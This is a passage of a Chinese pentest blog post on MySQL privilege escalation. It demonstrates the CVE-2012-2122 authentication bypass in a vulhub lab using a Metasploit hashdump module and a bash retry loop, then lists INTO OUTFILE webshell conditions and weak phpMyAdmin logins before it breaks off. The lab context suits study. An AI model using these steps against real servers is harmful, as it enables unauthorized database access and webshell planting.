原文地址:https://www.cnblogs.com/sfsec/p/15241860.html
前言
数据库权限
在平常的渗透提权中,我们通常可以在一些特殊情况下得到数据库的用户名和密码(最高权限root),如下:
MySQL 3306 端口弱口令爆破 sqlmap 注入的 --sql-shell 模式 网站的数据库配置文件中拿到明文密码信息 CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限
口令爆破、sqlmap的--sql-shell模式和数据库配置文件中拿明文密码已经老生常谈了,这里主要演示一下CVE-2012-2122
CVE-2012-2122
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
#受影响版本
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
在vunlub中启动CVE-2012-2122环境
环境启动后用docker ps查看进程
可以看到启动了一个Mysql服务(版本:5.5.23),监听端口为3306端口,默认的root用户的密码为123456
我们可以使用mysql客户端进行远程连接数据库
连接测试就证明我们的环境正常搭建。然后就是漏洞利用了,正常模拟攻击者,我们是没有密码,不知道root的密码为123456的,这个时候我们就可以利用CVE-2012-2122来进行身份绕过
msf可以导出hash值
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf6 > set rhosts 192.168.178.128 msf6 > run
或者直接bash输入
root@root:~/桌面# for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.178.128 2>/dev/null; done Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 854 Server version: 5.5.23 Source distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]>
MySQL提权
Webshell权限
into oufile 写 shell
into oufile 写 shell要满足如下条件才可以写入
1、知道网站物理路径 2、高权限数据库用户 3、load_file() 开启 即 secure_file_priv 无限制 4、网站路径有写入权限
数据库查看是否有secure_file_priv限制
mysql> show global variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | NULL | +------------------+-------+
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/ | 只允许在 / 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
利用phpmyadmin来into outfile
首先在存在phpmyadmin时,我们可以试试弱口令,root、root来进行登录phpmyadmin后台。登录进去后我们获取网站的绝对路径来进行写shell
在phpmyadmin中,我们可以利用log变量来猜测网站的绝对路径